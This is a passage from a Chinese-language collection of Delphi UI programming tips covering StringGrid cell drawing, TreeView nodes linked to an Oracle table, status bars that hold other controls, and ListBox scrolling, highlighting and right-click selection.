WriteText(Canvas, Rect, 2, 2, S, Formats[Alignment]);
end;

begin
case Row of
0 : { 居中对齐第一行 }
if (Col < ColCount) then
Display(Cells[Col,Row], taCenter)
else
{ 右对齐其他行 }
Display(Cells[Col,Row], taRight);
end;

end;
在字符串网格中画图

只需要处理StringGrid.OnDrawCell事件就可以了

with StringGrid1.Canvas do
begin
{...}
Draw(Rect.Left, Rect.Top, Image1.Picture.Graphic);
{...}
end;


判断单元格是否被选中

function IsCellSelected(StringGrid : TStringGrid; X, Y : LONGINT): BOOLEAN;
begin
Result := false;
try
if (X >= StringGrid.Selection.Left) and (X <= StringGrid.Selection.Right) and (Y >= StringGrid.Selection.Top) and (Y <= StringGrid.Selection.Bottom)
then
Result := true;
except
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if IsCellSelected(Stringgrid1,2,2) then
begin
ShowMessage('Cell 2,2 is selected');
end;
end;


树形图的使用概述

  树形图(Treeview)是Win95下新增加的通用显示部件(Common Control，在COMCTL32.DLL中)之一，从Delphi2.0开始也增加了相应的控件Treeview，用于取代原Outline控件。由于树形图结构较复杂，使用起来常不知如何下手。这里就使用中的一些问题作些介绍。
Treeview用于显示按照树形结构进行组织的数据，这在实际当中用途还是比较广泛的，如计算机中的文件系统(Windows95中的资源管理器)、企业或公司的组成结构等等。Treeview控件中一个树形图由节点(TreeNode)和连接线组成。TtreeNode是TTreeview的基本组成单元。一个树的节点又包含文本(Text)和数据(Data)。Text为String类，Data则为无定形指针(Untyped Pointer)，可以指向一个与节点相联系的数据结构。
    每一个节点下子节点形成这一节点的Items属性，当前节点有一个唯一的Index(TreeNode的Index属性)，用于说明子节点在Items中的位置，每一个节点下的子节点是顺序编号的，第一个是0，第二个是1，依次类推。用IndexOf方法获得子节点的顺序，绝对顺序(AbsoluteIndex)则是指从Treeview第一个项开始的顺序值，第一个是0，如此推下去。Item属性则根据Index的值返回当前节点的第Index个子节点。Count则表明属于此项的所有子节点的数量。用MoveTo方法将Item由一个位置移到另一个位置。
    Expanded属性表明是否所有的子项都全部展开(包括子项的子项)，为True表示全部展开。IsVisible属性表明一个项是否在树中能被看到，如果树全部展开那么这个Item是肯定可以被看到。HasChildren属性表明一个项是否有子项。 GetFirstChild, GetLastChild, GetPrevChild, and GetNextChild分别返回当前项子项的第一个、最后一个和前一个、后一个项。GetNextSibling and GetPrevSibling则返回在同一Level下的下一个和上一个项。GetNextVisible and GetPrevVisible则返回能看得到的下一个和上一个项。如果一个节点有Parent，则HasAsParent方法返回True. Parent为当前项的父项。Focused属性确定焦点是否落在此节点上，被Focus时会一个标准的方框围住。很显然，只有一个节点会被聚焦。 Selected属性表明一个节点是否被选中，同样只有一个节点会被选中。DropTarget属性表明节点在拖动操作中是源还是目标。

.1.添加、删除、修改节点：
静态的方法可以在设计时通过Items的编辑器设置各节点的内容。
在添加和删除前必须保证有节点被选中(Treeview.Selected = nil)
用AddFirst, AddFirstChild, AddChild等先添加根节点，如Treeview.Items.AddFirst( nil, 'Root')；
然后以此为基础，添加此项的子节点。

删除节点
Treeview.Selected.Delete

编辑节点内容
Treeview.Selected.EditText

注意：由于根节点没有父节点 (TTreeNode.Parent= nil)
此外，在大批量添加数据到Treeview中时最好使用
    TreeView.Items.BeginUpdate;
    添加节点
    TreeView.Items.EndUpdate
这样能加快显示速度。

2.在节点上添加图象
Treeview中几个与图象相关的属性：
    SelectedIndex：当节点被选中时在TimageList 中选什么样的图象
    OverlayIndex：选那副图象作为掩图（一幅图象透明地显示在另一幅图象的前面），比如一个节点不可用时加一副X图象在其前面。
    ImageIndex：在常态时选用的图的序号
    StateIndex： 在StateImages这个ImageList中对应的序号，-1时不显示图象
    比较典型的，象在文件管理器中的所显示的一样，Treeview控件在节点之前也可以显示图象。在Form中放置一ImageList控件，加入几个图片，分别被Index为0,1,…在Treeview的Image属性项填入你所加入的ImageList的控件名称。TreeNode的ImageIndex表示节点未被选中时(Selected=nil)的图片序号，SelectedIndex表示节点被选中时图片序号。

3.关于Level
Level的概念可以用下图表示：
Level0　　 Level1 Level2

4.排序
SortType决定什么时候进行排序；
TreeView.AlphaSort对节点进行排序，如果不能满足要求，你可以定义自己的CustomSort方法。

5.Drag&Drop操作，与标准的拖放操作使用方法一样


节点显示覆盖图象

 ImageList1.Overlay(Image_Index, Overlay_Index);
TreeView1.Items[Item_Index].OverlayIndex := Overlay_Index;


TTreeView StateIndex 不工作?

 MyNode := TreeView1.Selected;
MyNode.StateIndex := 0;
上面代码不工作？
回答：
procedure TForm1.Button1Click(Sender: TObject);
var
TempNode : TTreeNode;
begin
//TempNode equals what is selected in the TreeView
TempNode := TreeView1.Selected;
TempNode.selectedindex := 1;
//Assign image 0 to TempNode.StatIndex
TempNode.StateIndex := 0;
Treeview1.refresh;
treeview1.SetFocus;
end;


树视图同数据库的关联

陶占红　单　莹

前　言

树形图用于显示按照树形结构进行组织的数据，其用途比较广泛，如计算机中的文件系统(Windows95中的资源管理器)、企业或公司的组成结构等。VB、PB、Delphi等工具提供了一个功能很强的树型控件TTreeView，可以用来描述复杂的层次关系。由于树形图结构较复杂，使用起来常不知如何下手。笔者结合电信综合统计管理系统中指标维护这一具体实例，详细阐述在Delphi下如何将树型控件的使用与数据库联系起来，实现数据分任意多层显示，方便地进行增加、修改、删除操作，而且用拖放技术实现各层数据之间的移动、复制。笔者希望通过对该实例的阐述，达到抛砖引玉的效果，与各位同仁相互交流，共同进步。

一、指标树的建立

具体方法是：创建一个数据库，设计指标表t_pub_index，包含index_id、parent_id、index_name字段，其它字段根据实际业务而定，指标名称index_name将在树型控件的节点上显示，index_id字段保存节点的唯一标识号，parent_id表示当前节点的父节点号，标识号组成了一个“链表”，记录了树上节点的结构。设计一窗体Frm_sys_index，其上放置TreeView控件tv_zb、Query控件Query1及其它指标属性编辑显示控件。一个树的节点又包含文本(Text)和数据(Data)。Text为String类，用来显示指标或指标目录名称。Data则为无定形指针(Untyped Pointer)，可以指向一个与节点相联系的数据结构，该结构与数据库指标表相应域关联，如指标ID、上级节点ID。

Query控件的表达式为：

select index_id, parent_id, index_name from t_pub_index

start with index_id=0 connect by prior index_id=parent_id

其中start with 和connect by 是Oracle的SQL语句的保留字，使一条记录的parent_id列的值等于前一记录的index_id列的值，并以parent_id等于0的记录开始。

建树的基本思路是：

procedure TFrm_sys_index.createtree;

var

curValue: indexPointer; //指向与节点相联系的数据结构的指针

curNode : TTreeNode; //当前节点

curid : integer; //当前节点标识号

begin

curNode := nil;

curid := -1;

Query_index.Open;

Query_index.first;

while not Query_index.Eof do

begin

new(curValue);

With curValue^ do

将数据库指标表t_pub_index各字段值赋curValue 所指数据结构

while(curid <> curValue.parent_id) do //当前节点的标识号不等于当前记录的父节点号

begin

curNode := curNode.parent;

curid:= indexPointer(curNode.data).index_id;

end;

curNode := tv_zb.Items.AddChildObject(curNode,

curValue^.index_name,curValue); //在当前节点上添加子节点，显示节点指标名称，所带指针指向一个与指标数据相联系的数据结构

curid := indexPointer(curNode.data).index_id;

Query_index.next;

end;

Query_index.close;

end;

二、增加、删除、修改树节点

单纯在Treeview 上增加、删除、修改节点只需用它本身提供的Treeview.Items. AddChildObject、 Treeview.Selected.Delete、Treeview.Selected.EditText等方法即可，但要相应修改数据库中的数据，必须通过递归调用同一个函数（用于删除一个选项）来遍历所选节点下的所有子节点。下面以删除节点为例介绍具体实现流程：

function TFrm_sys_index.delnode(node1:TTreenode):TTreenode;

var

childnode:TTreenode;

begin

childnode:=node1.GetLastChild; //按倒序获得子项，因为删除选项时，列表会发生变化

while childnode<>nil do

childnode:=delnode(childnode); //如子项不为空，进行递归调用

index_id:=inttostr(indexpointer(node1.data).index_id);//获得该节点对应指标

在数据库删除相应指标;

result:=node1.parent.GetPrevChild(node1); //定位到该节点的上一节点

node1.delete; //删除树节点

end;

三、拖动树节点

拖动树节点基本上是通过建立目标项的新子项、向它复制源项、删除原项来移动选项。与上述删除操作相似，也是通过递归调用同一个函数（用于移动一个选项），按倒序移动所选节点下的所有子节点。下面是递归过程的代码：

procedure TFrm_sys_index.CopyNodeUnder(treeview:TTreeview;

sourcenode,targetnode:ttreenode);

var

newnode:ttreenode;

i:integer;

begin

newnode:=treeview.items.addchildfirst(targetnode,''); //建立目标项

newnode.assign(sourcenode); //复制源项属性

for i:=sourcenode.count-1 downto 0 do //递归调用，按倒序移动其所有子项

CopyNodeUnder (treeview,sourcenode.item[i],newnode);

treeview.items.delete(sourcenode); //删除源项

end;

Treeview对拖动操作提供支持，我们将组件的DragKind属性设置为dkDrag，DragMode属性设置为dmAutomatic，并为OnDragOver与OnDragDrop事件编写了处理程序。OnDragOver事件处理程序对允许移动的条件进行判断，排除需要避免的特殊情况。代码如下：

procedure TFrm_sys_index.tv_zbDragOver(Sender, Source: TObject; X,

Y: Integer; State: TDragState; var Accept: Boolean);

var

targetnode,sourcenode:TTreenode;

begin

targetnode:=tv_zb.getnodeat(x,y);

if (Source=Sender) and (targetnode<>nil) then //保证移动在TreeView上，且目标节点不为空

begin

Accept:=true;

sourcenode:=tv_zb.selected;

//以下代码防止用户将一个选项拖到其子项上（它会随着选项一起移动，导致死循环）

while (targetnode.parent<>nil) and (targetnode <> sourcenode) do

targetnode:=targetnode.parent;

if (targetnode = sourcenode) then Accept:=false;

end

else Accept:=false;

end;

OnDragDrop事件处理程序启动前述移动过程CopyNodeUnder，修改数据库数据。此外，在大批量添加数据到Treeview中时最好使用TreeView.Items.BeginUpdate和　　TreeView.Items.EndUpdate，这样能加快显示速度。大致流程如下：

procedure TFrm_sys_index.tv_zbDragDrop(Sender, Source: TObject; X,

Y: Integer);

var

targetnode,sourcenode:TTreenode;

begin

targetnode:=tv_zb.getnodeat(x,y); //获得源节点

sourcenode:=tv_zb.selected; //获得目标节点

修改数据库中当前节点的父节点号parent_id，使其等目标节点标识号；

tv_zb.items.beginupdate; //禁用TreeView重绘操作

try

copynodeunder(tv_zb,sourcenode,targetnode); //启动移动过程

tv_zb.selected:=targetnode;

finally

tv_zb.items.endupdate; //重新设置

end;

end;


增强的状态条控件

---- 在Office 2000、Internet Explorer以及Netscape 等软件中，我们可以看到非常漂亮的窗口状态条。特别是Netscape Communicator，在它的窗口状态条中不仅显示有文字，而且还有图形、动画、浮动按钮以及进度条。对于Delphi编程人员来说，为一个窗口创建状态条是非常容易的事情，Delphi所提供的TStatusBar可视化控件可以让我们快速地实现状态条。然而令人遗憾的是用TStatusBar创建的状态条仅能显示文字。本文向大家介绍如何在Delphi程序中创建更为漂亮的StatusBar。

---- 要创建类似Netscape风格的状态条，现有的Delphi控件是无能为力的了。为了让窗口状态条能包含非文本内容，我们需要对现有的TStatusBar控件加以改进。在TStatusBar控件的基础上，我们编写一个新的Delphi控件TStatusBarEx。大家知道，Delphi的TStatusBar控件是不能接受其它控件的，所以我们不可能将一个TImage、TButton等放在TStatusBar上。但是我们接下来要创建的TStatusBarEx控件将可以包容其它的控件。通过TStatusBarEx控件，我们可以使Delphi创建的状态条跟Netscape的状态条一样漂亮，让其可以包含图形、动画、进度条等等。

---- 在Delphi中，一个控件上能否成为其它控件的父控件取决于此控件的ControlStyle属性。ControlStyle属性是集合类型的，如果此集合包含csAcceptsControls元素，则它能接受其它控件；否则，它就不能成为其它控件的父控件。ControlStyle属性只能在控件的构造函数（Constructor）中指定，在程序运行时它是不能被改变的。所以如果希望窗口状态条上面能包含其它控件，我们只需要在继承类中重载TStatusBar控件的Constructor函数，并且让控件的集合属性ControlStyle中包含csAcceptsControls即可。 TStatusBarEx控件的实现

---- 以下是实现TStatusBarEx控件的Delphi源代码，请把这段代码拷贝下来，并且将其保存到文件StatusBarEx.PAS中去。然后用Delphi打开StatusBarEx.PAS文件，之后选择“Component | Install Component …”，将TStatusBarEx控件安装。

//文件名：StatusBarEx.pas
unit StatusBarEx;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics,
Controls, Forms, Dialogs, ComCtrls, DsgnIntf;

type

//定义About属性的属性编辑器
TAbout = class(TPropertyEditor)
public
procedure Edit; override;
function GetAttributes: TPropertyAttributes; override;
function GetValue: string; override;
end;

//定义TStatusBarEx控件
TStatusBarEx = class(TStatusBar)
private
{ Private declarations }
FAbout:TAbout;
protected
{ Protected declarations }
public
{ Public declarations }
constructor Create(AOwner: TComponent); override;
published
{ Published declarations }
property About: TAbout read FAbout;
end;

procedure Register;

implementation

constructor TStatusBarEx.Create(AOwner: TComponent);
begin
inherited Create(AOwner);

{为了让TStatusBarEx控件能接受其它控件，必须
使ControlStyle属性（集合类型）包含csAcceptsControls元素}
ControlStyle:= ControlStyle + [csAcceptsControls];
end;

//以下是TAbout中的成员函数的实现
procedure TAbout.Edit;
begin
Application.MessageBox('TStatusBarEx for Delphi 5'#13#10
+'Written by Simon Liu'#13#10
+'Email:simon_liu@263.net',
'About TStatusBarEx',MB_ICONINFORMATION);
end;

function TAbout.GetAttributes: TPropertyAttributes;
begin
Result := [paDialog, paReadOnly];
end;

function TAbout.GetValue: string;
begin
Result := '(Simon)';
end;

procedure Register;
begin
//将TStatusBarEx控件注册到Delphi 5控件板的Win32页上
RegisterComponents('Win32', [TStatusBarEx]);

//为About属性注册属性编辑器
RegisterPropertyEditor(typeInfo(TAbout), TStatusBar,
'About', TAbout);
end;

end.

---- 使用TStatusBarEx控件，我们可以非常容易地在StatusBar上增添其它的内容了。比如，如果想要在状态条上显示一个图片，只要在TStatusBarEx控件上放一个Image控件；想要添加一个进度条，只需在上面加一个ProgressBar就行了！


状态条插入可视控件

    首先,在FROM中放置一个状态条控件Status。调节Status.Panels，在其中插入3个状态条嵌板。把第二个嵌板的参数Style设置成psOwnerDraw。这一点很重要，如果没有这样做，将永远无法显示文字以外的东西。然后在状态条的OnDrawPanel事件中插入一行StatusDrawRect:=rect;以记录参数Style设置成psOwnerDraw的嵌板的坐标。
    第二步，在FROM的Private中申明一个TProgressBar类型的变量Progress。然后在一个菜单的消息响应过程中调用Create方法把它建立起来，再设定状态条为该进程条的父窗口，进而设定进程条的一些必要参数。例如：最大值、最小值、原点坐标、高度和宽度等。

    最后编译一下该程序，你就会发现在状态条中被插入了一个运动着的进程条。
    类似地，你还可以在状态条中插入其他可视控件，如：按键、位图和动画控件等等。
以下是范例程序：
type
TForm1 = class(TForm)//定义一个窗口类
Status: TStatusBar;
MainMenu1: TMainMenu;
file1: TMenuItem;
insertprocressbar1: TMenuItem;
N1: TMenuItem;
exit1: TMenuItem;
procedure FormCreate(Sender: TObject);
procedure StatusDrawPanel(StatusBar: TStatusBar; Panel:
TStatusPanel;const Rect: TRect);
procedure FormDestroy(Sender: TObject);
procedure exit1Click(Sender: TObject);

procedure insertprocressbar1Click(Sender: TObject);
private
colorindex
: integer; BookOpen:Boolean;
ssbmp:Tbitmap;
progress:TProgressbar;
StatusDrawRect:TRect;
//记录要插入状态条特技的坐标范围
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
end;

procedure TForm1.StatusDrawPanel(StatusBar: TStatusBar;
Panel:
TStatusPanel; const Rect: TRect);
begin
StatusDrawRect:=rect;
//记录要实现状态条特技的坐标范围
end;

procedure TForm1.exit1Click(Sender: TObject);
begin
close;
end;

procedure TForm1.insertprocressbar1Click(Sender: TObject);
var
i,count:integer;
staPanleWidth:integer;
begin
progress:=TProgressbar.create(form1);
count:=3000;
//进程条的最大值
staPanleWidth:=status.Panels.Items[2].width;
//由于进程条的很宽，所以需要改变状态条嵌板的宽度，这里先保存它的宽度。
status.Panels.Items[2].width:=150;
// 改变宽度
status.repaint;
with progress
do
begin
top:=StatusDrawRect.top;
left:=StatusDrawRect.left;
width:=StatusDrawRect.right-StatusDrawRect.left;
height:=StatusDrawRect.bottom-StatusDrawRect.top;

//设定进程条的宽度和高度
visible:=true;
try
Parent := status;
//该进程条的拥有者为状态条status
Min := 0; Max := Count;
//进程条的最大和最小值
Step := 1; //进程条的步长
for i := 1 to Count
do
Stepit; // 累加进程条
ShowMessage('现在，进程条将要从内存中被释放');
finally
Free;
//释放进程条
end; //try
end;
//with
status.Panels.Items[2].width:=staPanleWidth;
//恢复状态条嵌板的宽度
end; //begin

end.


状态条浮动、状态自动提示

如果注意到Delphi4提供给TStatusBar类的新特性---AutoHint，那么要获得这样的效果简直就是太简单了！这样做，我们不需要写一句代码，而且，我们可以设置显示浮动提示的截获时间、停留时间、背景颜色等等。
下面，我来解释一下如何快速实现这个功能：
首先，我们必须明白，Delphi下的Hint实际上由两部分组成，中间由“|”隔开，第一部分就是我们需要的浮动提示，第二部分就是状态栏提示。当然，要说明的是，如果我们只提供第一部分，那么，系统将不区别这来两者，以同样的提示显示出来。
何为浮动提示，大家很容易理解，而状态栏提示即是在窗体的状态栏上显示的提示。对于浮动提示，我们很容易获得，只需将其组件的ShowHint属性设为True即可。在Delphi4以前，要实现状态栏提示，必须自己手动添加一个过程来实现，但是，在Delphi4中只需设置TStatusBar的一个属性即可，但是这也要付出代价，那就是“只能”在状态栏的第一个Panel中显示。
具体做法是：
1、为需要提示的组件添加Hint属性（由两部分组成），并设置其ShowHint=True；
2、为窗体添加TStatusBar，并添加一个Panel，设置其AutoHint=True；
注意：如果你不想显示浮动提示，只需将Hint设置为“|what you want...”即可，意思就是将第一部分设置为空！下面，我将举一例，程序本身并无价值，但是能体现出这个意思。
关于如何改变浮动提示的截获时间、停留时间、背景颜色等等，可以查阅一下全局变量TApplication的帮助，本文暂时不涉及到，今后将专文论述！

下面是源代码(不需要一句！)：

{=======Copyright by Liangming }
{ Delphifan WorkRoom }
unit main;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Menus, ComCtrls, ToolWin, StdActns, ActnList, ImgList, StdCtrls;

type
TForm1 = class(TForm)
MainMenu1: TMainMenu;
F1:
TMenuItem;
E1: TMenuItem;
H1: TMenuItem;
StatusBar1: TStatusBar;
N1:
TMenuItem;
N2: TMenuItem;
N3: TMenuItem;
A1: TMenuItem;
N4:
TMenuItem;
N5: TMenuItem;
N6: TMenuItem;
T1: TMenuItem;
C1:
TMenuItem;
P1: TMenuItem;
H2: TMenuItem;
I1: TMenuItem;
N7:
TMenuItem;
A2: TMenuItem;
CoolBar1: TCoolBar;
ToolBar1:
TToolBar;
ToolButton1: TToolButton;
ToolButton2:
TToolButton;
ToolButton3: TToolButton;
ImageList1:
TImageList;
procedure FormCreate(Sender: TObject);
private
{ Private
declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin

end;

end.
窗体As text代码
object Form1: TForm1
Left = 198
Top = 215
Width = 437
Height = 251
Caption = '测试浮动、状态栏提示-->梁明'
Color = clBtnFace
Font.Charset = GB2312_CHARSET
Font.Color = clWindowText
Font.Height = -12
Font.Name = '宋体'
Font.Style = []
OldCreateOrder = False
OnCreate = FormCreate
PixelsPerInch = 96
TextHeight = 12
object StatusBar1: TStatusBar
Left = 0
Top = 205
Width = 429
Height = 19
AutoHint = True
Panels = <
item
Width = 50
end>
SimplePanel = False
end
object CoolBar1: TCoolBar
Left = 0
Top = 0
Width = 429
Height = 24
AutoSize = True
Bands = <
item
Control = ToolBar1
ImageIndex = -1
MinHeight = 20
Width = 425
end>
DockSite = True
object ToolBar1: TToolBar
Left = 9
Top = 0
Width = 412
Height = 20
AutoSize = True
ButtonHeight = 20
ButtonWidth = 55
Caption = '快捷工具栏'
DragKind = dkDock
DragMode = dmAutomatic
EdgeBorders = []
Flat = True
ShowCaptions = True
TabOrder = 0
object ToolButton1: TToolButton
Left = 0
Top = 0
Caption = '文件(&F)'
Grouped = True
MenuItem = F1
end
object ToolButton2: TToolButton
Left = 55
Top = 0
Caption = '编辑(&E)'
Grouped = True
MenuItem = E1
end
object ToolButton3: TToolButton
Left = 110
Top = 0
Caption = '帮助(&H)'
Grouped = True
MenuItem = H1
end
end
end
object MainMenu1: TMainMenu
Images = ImageList1
Left = 248
Top = 88
object F1: TMenuItem
Caption = '文件(&F)'
object N1: TMenuItem
Caption = '打开'
Hint = '打开'
ImageIndex = 0
ShortCut = 16463
end
object N2: TMenuItem
Caption = '-'
GroupIndex = 1
end
object N3: TMenuItem
Caption = '保存'
GroupIndex = 1
Hint = '保存'
ShortCut = 16467
end
object A1: TMenuItem
Caption = '另存为(&A)'
GroupIndex = 1
Hint = '另存为'
end
object N4: TMenuItem
Caption = '-'
GroupIndex = 1
end
object N5: TMenuItem
Caption = '关闭'
GroupIndex = 1
Hint = '关闭'
ShortCut = 32883
end
end
object E1: TMenuItem
Caption = '编辑(&E)'
object N6: TMenuItem
Caption = '恢复'
Hint = '恢复'
ShortCut = 16474
end
object T1: TMenuItem
Caption = '剪切(&T)'
Hint = '剪切'
ShortCut = 16472
end
object C1: TMenuItem
Caption = '拷贝(&C)'
Hint = '拷贝'
ImageIndex = 1
ShortCut = 16451
end
object P1: TMenuItem
Caption = '粘贴(&P)'
Hint = '粘贴'
ImageIndex = 2
ShortCut = 16470
end
end
object H1: TMenuItem
Caption = '帮助(&H)'
object H2: TMenuItem
Caption = '主题(&H)'
Hint = '主题'
ImageIndex = 1
end
object I1: TMenuItem
Caption = '索引(&I)'
Hint = '索引'
end
object N7: TMenuItem
Caption = '-'
end
object A2: TMenuItem
Caption = '关于(&A)'
Hint = '关于...'
end
end
end
object ImageList1: TImageList
Left = 208
Top = 48
Bitmap = {
494C010101000400040010001000FFFFFFFFFF10FFFFFFFFFFFFFFFF424D3600
0000000000003600000028000000400000001000000001001000000000000008
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000E07FF75EE07FF75E
E07FF75EE07FF75EE07F00000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000FF7F0000E07FF75EE07F
F75EE07FF75EE07FF75EE07F0000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000E07FFF7F0000E07FF75E
E07FF75EE07FF75EE07FF75EE07F000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000FF7FE07FFF7F00000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000E07FFF7FE07FFF7FE07F
FF7FE07FFF7FE07F000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000FF7FE07FFF7FE07FFF7F
E07FFF7FE07FFF7F000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000E07FFF7FE07FFF7FE07F
FF7F000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000E07FFF7FE07FFF7F
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000EF3D0000000000000000
EF3D000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000424D3E000000000000003E000000
2800000040000000100000000100010000000000800000000000000000000000
000000000000000000000000FFFFFF00FFFF000000000000FFFF000000000000
FFFF000000000000FFFF000000000000C00F0000000000008007000000000000
800300000000000080010000000000008001000000000000800F000000000000
800F000000000000801F000000000000C0FF000000000000C0FF000000000000
FFFF000000000000FFFF00000000000000000000000000000000000000000000
000000000000}
end
end


运行时通过鼠标拖动改变大小！

 通过设置SizeGrip为true(这也是投省值)来实现。真有趣。利用这个特性，
可以用在开发中，实现一些有用的功能。


加上水平的滚动条

Delphi 的 TListBox元件自动实现了垂直的滚动条,当ListBox不能显示全部的菜单(Item)时,这个垂直的滚动条就会出现。然而，当菜单的宽度比ListBox宽时水平的滚动条却不会出现。以下的程序就是处理这个问题的。

在你的Form的OnCreate事件中添加以下代码：
procedure TForm1.FormCreate(Sender: TObject);
var
i, MaxWidth: integer;
begin
MaxWidth := 0;
for i := 0 to ListBox1.Items.Count - 1 do
if MaxWidth < ListBox1.Canvas.TextWidth(ListBox1.Items.Strings[i]) then
MaxWidth := ListBox1.Canvas.TextWidth(ListBox1.Items.Strings[i]);

SendMessage(ListBox1.Handle, LB_SETHORIZONTALEXTENT, MaxWidth+2, 0);
end;

以上的代码首先得到ListBox中最长Item的长度，然后用LB_SETHORIZONTALEXTENT消息设置ListBox的水平滚动的宽度，宽度加2是为了给右面留2个点的边。


在ListBox中高亮度显示文本

要实现这个例子，你需要在Form上加入一个TListBox和TEditBox构件。

----

在Form的PRIVATE部分输入:

HighlightText : string ;

TextLength : integer ;

Foreground : TColor ;

Background : TColor ;

----

以下是Form1，ListBox1和EditBox1的事件代码：

procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer;

Rect: TRect; State: TOwnerDrawState);

var

Location : integer ;

s : string ;

Text : string;

ax : integer ;

TextWidth : integer ;

OldBrushColor : TColor ;

OldFontColor : TColor ;

const

HighlightColor = clRed ;

begin

with (Control as TListBox) do begin

Canvas.FillRect(Rect) ;

Location := Pos(HighlightText, Items[Index]) ;

if Location > 0 then begin

TextWidth := Canvas.TextWidth(HighlightText) ;

s := Items[Index] ;

ax := 0 ;

while Location > 0 do begin

Text := Copy(s, 1, Location - 1) ;

s := Copy(s, Location + TextLength, Length(s)) ;

Canvas.TextOut(ax, Rect.Top, Text) ;

Inc(ax, Canvas.TextWidth(Text)) ;

OldBrushColor := Canvas.Brush.Color ;

OldFontColor := Canvas.Font.Color ;

Canvas.Brush.Color := Background ;

Canvas.Font.Color := Foreground ;

Canvas.TextOut(ax, Rect.Top, HighlightText) ;

Canvas.Brush.Color := OldBrushColor ;

Canvas.Font.Color := OldFontColor ;

Inc(ax, TextWidth) ;

Location := Pos(HighlightText, s) ;

end ;

Canvas.TextOut(ax, Rect.Top, s) ;

end

else

Canvas.TextOut(Rect.Left, Rect.Top, Items[Index]) ;

end ;

end;

procedure TForm1.Edit1Change(Sender: TObject);

begin//如果你想查找文本...

HighlightText := Edit1.Text ;

TextLength := Length(Edit1.Text) ;

ListBox1.Refresh ;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

Edit1.Clear;

ListBox1.Items.LoadFromFile('c:\Autoexec.bat');//你可以改变这里

ListBox1.Style:=lbOwnerDrawFixed;

HighlightText := Edit1.Text ;

TextLength := 4 ;

Background := clRed ;

Foreground := clWhite ;

end;


鼠标右击选择TListBox中的选项

 有时，我们要在ListBox的弹出式菜单中通过ItemIndex显示项目的有关信息。但是，在项目上右击鼠标时，ItemIndex不会象左击那样被改变。这篇文章将通过例子来告诉你如何实现此功能。
假设你有一个ListBox，填充有称作Widgets的类：

type TWidget = class(Tobject)
WidgetName : string;
WidgetStatus : boolean;
End;

Widgets : array [0..10] of TWidget

每一项WidgetName在ListBox中显示出来。

你想要通过一个弹出式菜单来改变每一个Widget的状态，其中弹出式菜单与ListBox的OnPopUp事件关联。如果状态是活动的，设置“Active”；如果不是活动的，不设置“Active”。单击“Active”来改变状态。

问题是：鼠标左键单击ListBox会选择一Widget，但用右键单击（并显示弹出菜单）时不会选择。如果鼠标不在已选项上，弹出菜单显示的将不是鼠标所在Widget的状态，而是已选Widget的状态。

幸运的是，ListBox的OnMouseDown比弹出式菜单的OnPopUp先被触发。这样，我们就能在弹出式菜单显示之前用OnMouseDown事件设置ItemIndex。

TlistBox有一个方法：ItemAtPos(Pos: TPoint; Existing: Boolean): Integer;
如果能在Pos座标处找到ListBox的一项，这一方法将返回这一项的Index。如果没有找到任何项，且Existing值设为True，ItemAtPos将返回值-1，如果Existing值设为False，ItemAtPos将返回ListBox最后一项的Index值加1。

用这个方法结合OnMouseDown事件就解决了我们的问题：

OnMouseDown代码:

procedure TForm1.WidgetListMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
var
MousePos : TPoint;
OverItemIndex : integer;

begin
MousePos.x := X;
MousePos.y := Y;

if Button = mbRight then
begin
OverItemIndex := WidgetList.ItemAtPos(MousePos,False);
WidgetList.ItemIndex:=OverItemIndex;
